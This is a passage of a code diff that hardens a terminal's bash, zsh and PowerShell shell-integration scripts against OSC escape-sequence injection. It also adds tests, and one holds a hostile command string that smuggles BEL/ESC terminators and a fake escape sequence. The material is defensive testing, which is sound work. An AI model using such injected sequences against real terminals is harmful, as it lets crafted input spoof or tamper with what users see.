verbatim by the parser precisely so Windows paths survive; + // stripping must not become escaping. + const win = 'C:\\Users\\someone\\proj'; + assert.equal(callHelper(bin, '__dormouse_633_safe_cwd', win), win); + }); + + test(`${name}: escape neutralizes terminators in the E command line`, () => { + const hostile = `echo hi\x07\x1b]9;PWNED\x07`; + const out = callHelper(bin, '__dormouse_633_escape', hostile); + for (const t of TERMINATORS) { + assert.ok(!out.includes(t), `${name}: ${JSON.stringify(t)} survived in ${JSON.stringify(out)}`); + } + // Escaped, not dropped — the parser decodes \xNN back, so E stays verbatim. + assert.ok(out.includes('\\x07'), `${name}: expected \\x07 in ${JSON.stringify(out)}`); + assert.ok(out.includes('\\x1b'), `${name}: expected \\x1b in ${JSON.stringify(out)}`); + }); + + test(`${name}: escape still handles what it always did`, () => { + assert.equal(callHelper(bin, '__dormouse_633_escape', 'a;b\\c'), 'a\\x3bb\\\\c'); + }); +} diff --git a/standalone/sidecar/shell-integration/bash/shellIntegration.bash b/standalone/sidecar/shell-integration/bash/shellIntegration.bash index 0abca6196..3d6ee72b1 100644 --- a/standalone/sidecar/shell-integration/bash/shellIntegration.bash +++ b/standalone/sidecar/shell-integration/bash/shellIntegration.bash @@ -23,16 +23,46 @@ case "$-" in *i*) ;; *) return 0 2>/dev/null || exit 0 ;; esac if [ -n "${__dormouse_633_installed:-}" ]; then return 0 2>/dev/null || exit 0; fi __dormouse_633_installed=1 -# Escape a value for OSC 633 transport: the parser splits the E command field on -# the first raw ';' then decodes \\ and \xNN, so backslash and semicolon must be -# escaped; newlines/CR are escaped to keep the sequence single-line. +# The three byte sequences that end an OSC string, and therefore the three that +# no field of ours may contain raw: BEL, ESC (which begins ST, "ESC \\"), and the +# C1 ST U+009C. The last is held as its UTF-8 bytes because that is how it +# reaches us from a filename, and because `[[:cntrl:]]` does not cover it under +# LC_ALL=C — verified, not assumed. +__dormouse_633_c1st=$'\302\234' + +# Escape a value for the E command field, leaving the result in +# __dormouse_633_out. Backslash and semicolon are escaped because the parser +# splits on the first raw ';' then decodes \\ and \xNN; newlines/CR keep the +# sequence single-line; BEL/ESC/C1-ST are the OSC terminators. Escaping costs +# nothing here because the parser decodes \xNN back. +# Why terminators must not survive: docs/specs/terminal-escapes.md -> OSC 633. +# +# Out-param rather than a return value: the call site would otherwise need +# $(...), which forks a subshell on every command in the user's shell. __dormouse_633_escape() { local value=$1 value=${value//\\/\\\\} value=${value//;/\\x3b} value=${value//$'\n'/\\x0a} value=${value//$'\r'/\\x0d} - printf '%s' "$value" + value=${value//$'\a'/\\x07} + value=${value//$'\e'/\\x1b} + value=${value//"$__dormouse_633_c1st"/\\x9c} + __dormouse_633_out=$value +} + +# Reduce a value for the `Cwd=` field into __dormouse_633_out. Unlike E, the +# parser reads Cwd= verbatim — no \xNN decoding, so a Windows path's backslashes +# arrive intact — which rules out escaping, so the terminators are removed +# instead. A path component may hold any byte but '/' and NUL, so a directory +# name can carry one; see docs/specs/terminal-escapes.md -> OSC 633. +# +# The C1 ST goes first and explicitly: under LC_ALL=C it is two ordinary bytes +# that [[:cntrl:]] does not match. +__dormouse_633_safe_cwd() { + local value=$1 + value=${value//"$__dormouse_633_c1st"/} + __dormouse_633_out=${value//[[:cntrl:]]/} } __dormouse_633_armed= # set at the END of the prompt hook: "the next command is the user's" @@ -48,7 +78,8 @@ __dormouse_633_prompt() { __dormouse_633_armed= if [ -n "$__dormouse_633_ran" ]; then printf '\033]633;D;%s\007' "$exit_code"; fi __dormouse_633_ran= - printf '\033]633;P;Cwd=%s\007' "$PWD" + __dormouse_633_safe_cwd "$PWD" + printf '\033]633;P;Cwd=%s\007' "$__dormouse_633_out" printf '\033]633;A\007' if [ -n "$__dormouse_633_user_pc" ]; then ( exit "$exit_code" ) # restore $? for the user's PROMPT_COMMAND @@ -64,7 +95,8 @@ __dormouse_633_preexec() { [ -n "${COMP_LINE:-}" ] && return # tab-completion, not a submitted command __dormouse_633_armed= __dormouse_633_ran=1 - printf '\033]633;E;%s\007' "$(__dormouse_633_escape "$BASH_COMMAND")" + __dormouse_633_escape "$BASH_COMMAND" + printf '\033]633;E;%s\007' "$__dormouse_633_out" printf '\033]633;C\007' } diff --git a/standalone/sidecar/shell-integration/pwsh/shellIntegration.ps1 b/standalone/sidecar/shell-integration/pwsh/shellIntegration.ps1 index 75e52edb1..f0fd52ba7 100644 --- a/standalone/sidecar/shell-integration/pwsh/shellIntegration.ps1 +++ b/standalone/sidecar/shell-integration/pwsh/shellIntegration.ps1 @@ -58,9 +58,27 @@ function Global:__dormouse_633_escape([string]$value) { $value = $value.Replace(';', '\x3b') $value = $value.Replace("`n", '\x0a') $value = $value.Replace("`r", '\x0d') + # BEL, ESC (which begins ST) and the C1 ST end an OSC string and so must not + # survive; docs/specs/terminal-escapes.md -> OSC 633 has the why. Escaping + # costs nothing here because the parser decodes \xNN back. Written as char + # codes rather than `a/`e so this still works on Windows PowerShell 5.1, where + # `e does not exist. + $value = $value.Replace([string][char]0x07, '\x07') + $value = $value.Replace([string][char]0x1b, '\x1b') + $value = $value.Replace([string][char]0x9c, '\x9c') return $value } +# Reduce a value for the `Cwd=` field. Unlike E, the parser reads Cwd= verbatim +# — no \xNN decoding, so a Windows path's backslashes arrive intact — which +# rules out escaping, so the terminators are removed instead. \p{Cc} is the +# Unicode control category, covering C0, DEL, and the C1 range including the +# U+009C that bash/zsh have to strip separately. +function Global:__dormouse_633_safe_cwd([string]$value) { + if ($null -eq $value) { return '' } + return ($value -replace '\p{Cc}', '') +} + # Wrap PSReadLine's line reader so a submitted command emits E (command line) and # C (command start) before it runs. Idempotent and a no-op when PSReadLine isn't # loaded; retried from `prompt` because PSReadLine may import after this script @@ -128,10 +146,10 @@ function Global:prompt() { } # Prompt start (A) and cwd (P). ProviderPath is the real filesystem path even - # when the current location is on a PSDrive. The cwd is sent raw — like the - # bash/zsh emitters' $PWD — because the parser reads Cwd= verbatim (no \xNN - # decoding); a Windows path's backslashes must reach it unescaped. + # when the current location is on a PSDrive. Unescaped is not unfiltered — + # see __dormouse_633_safe_cwd above for why Cwd= is reduced rather than escaped. $cwd = (Get-Location).ProviderPath + $cwd = __dormouse_633_safe_cwd $cwd $result += __dormouse_633_osc 'A' if ($cwd) { $result += __dormouse_633_osc "P;Cwd=$cwd" diff --git a/standalone/sidecar/shell-integration/zsh/.zshrc b/standalone/sidecar/shell-integration/zsh/.zshrc index 71cb0b341..a0490bf42 100644 --- a/standalone/sidecar/shell-integration/zsh/.zshrc +++ b/standalone/sidecar/shell-integration/zsh/.zshrc @@ -34,16 +34,46 @@ if [[ -z ${DORMOUSE_SHELL_INTEGRATION} ]]; then autoload -Uz add-zsh-hook - # Escape a value for OSC 633 transport. The parser splits the E command field - # on the first raw ';' then decodes \\ and \xNN, so backslash and semicolon - # must be escaped; newlines/CR are escaped to keep the sequence single-line. + # The three byte sequences that end an OSC string, and therefore the three no + # field of ours may contain raw: BEL, ESC (which begins ST, "ESC \\"), and the + # C1 ST U+009C. The last is held as its UTF-8 bytes because that is how it + # reaches us from a filename, and because [[:cntrl:]] does not cover it under + # LC_ALL=C — verified, not assumed. + __dormouse_633_c1st=$'\302\234' + + # Escape a value for the E command field, leaving the result in + # __dormouse_633_out. Backslash and semicolon are escaped because the parser + # splits on the first raw ';' then decodes \\ and \xNN; newlines/CR keep the + # sequence single-line; BEL/ESC/C1-ST are the OSC terminators. Escaping costs + # nothing here because the parser decodes \xNN back. + # Why terminators must not survive: docs/specs/terminal-escapes.md -> OSC 633. + # + # Out-param rather than a return value: the call site would otherwise need + # $(...), which forks a subshell on every command in the user's shell. __dormouse_633_escape() { local value=$1 value=${value//\\/\\\\} value=${value//;/\\x3b} value=${value//$'\n'/\\x0a} value=${value//$'\r'/\\x0d} - builtin print -rn -- "$value" + value=${value//$'\a'/\\x07} + value=${value//$'\e'/\\x1b} + value=${value//"$__dormouse_633_c1st"/\\x9c} + __dormouse_633_out=$value + } + + # Reduce a value for the `Cwd=` field into __dormouse_633_out. Unlike E, the + # parser reads Cwd= verbatim — no \xNN decoding, so a Windows path's + # backslashes arrive intact — which rules out escaping, so the terminators are + # removed instead. A path component may hold any byte but '/' and NUL, so a + # directory name can carry one; see docs/specs/terminal-escapes.md -> OSC 633. + # + # The C1 ST goes first and explicitly: under LC_ALL=C it is two ordinary bytes + # that [[:cntrl:]] does not match. + __dormouse_633_safe_cwd() { + local value=$1 + value=${value//"$__dormouse_633_c1st"/} + __dormouse_633_out=${value//[[:cntrl:]]/} } # First precmd has no preceding command, so it must not emit a D (finished). @@ -52,7 +82,8 @@ if [[ -z ${DORMOUSE_SHELL_INTEGRATION} ]]; then # preexec: the user submitted a command line. Report it (E) and mark the start # of command output (C). __dormouse_633_preexec() { - builtin printf '\e]633;E;%s\a' "$(__dormouse_633_escape "$1")" + __dormouse_633_escape "$1" + builtin printf '\e]633;E;%s\a' "$__dormouse_633_out" builtin printf '\e]633;C\a' } @@ -66,7 +97,8 @@ if [[ -z ${DORMOUSE_SHELL_INTEGRATION} ]]; then builtin printf '\e]633;D;%s\a' "$exit_code" fi __dormouse_633_first_prompt= - builtin printf '\e]633;P;Cwd=%s\a' "$PWD" + __dormouse_633_safe_cwd "$PWD" + builtin printf '\e]633;P;Cwd=%s\a' "$__dormouse_633_out" builtin printf '\e]633;A\a' } diff --git a/standalone/src/browser-sidecar-host.test.ts b/standalone/src/browser-sidecar-host.test.ts new file mode 100644 index 000000000..4f2c0f8cd --- /dev/null +++ b/standalone/src/browser-sidecar-host.test.ts @@ -0,0 +1,30 @@ +import { describe, expect, it } from "vitest"; +import { BrowserSidecarHost } from "./browser-sidecar-host"; + +// The dev bridge is an authenticated loopback control plane — `pty_spawn` +// reaches it with caller-supplied shell/args/env. `url()` is the single place +// that attaches the credential, so these guard that choke point rather than +// each call site. +describe("BrowserSidecarHost.url", () => { + const BASE = "http://127.0.0.1:1422/?t=deadbeef"; + + it("carries the base URL's token onto every endpoint, the SSE stream included", () => { + const host = new BrowserSidecarHost(BASE); + for (const path of [ + "/__dormouse_dev_host/events", + "/__dormouse_dev_host/send", + "/__dormouse_dev_host/invoke", + "/__dormouse_dev_host/console", + ]) { + const url = host.url(path); + expect(url.pathname).toBe(path); + expect(url.searchParams.get("t")).toBe("deadbeef"); + } + }); + + it("stays clean when the base carries no token", () => { + const url = new BrowserSidecarHost("http://127.0.0.1:1422").url("/__dormouse_dev_host/send"); + expect(url.searchParams.has("t")).toBe(false); + expect(url.pathname).toBe("/__dormouse_dev_host/send"); + }); +}); diff --git a/standalone/src/browser-sidecar-host.ts b/standalone/src/browser-sidecar-host.ts index 9dad0c416..b2027c61e 100644 --- a/standalone/src/browser-sidecar-host.ts +++ b/standalone/src/browser-sidecar-host.ts @@ -7,8 +7,21 @@ export class BrowserSidecarHost { constructor(private readonly baseUrl: string) {} + /** + * The one place that knows the bridge is authenticated. Every caller — the + * three methods below and the console mirror in `browser-sidecar-adapter` — + * builds its URL here, so the credential cannot be forgotten at a call site. + * + * The harness bakes its bridge token into the base URL's query + * (`http://127.0.0.1:1422/?t=…`), so setting the path on a copy of the base + * carries it along; resolving `path` *against* the base would drop it. It + * travels as a query param rather than an `Authorization` header because + * `EventSource` cannot set headers, and `/events` is gated like the rest. + */ url(path: string): URL { - return new URL(path, this.baseUrl); + const url = new URL(this.baseUrl); + url.pathname = path; + return url; } async init(): Promise {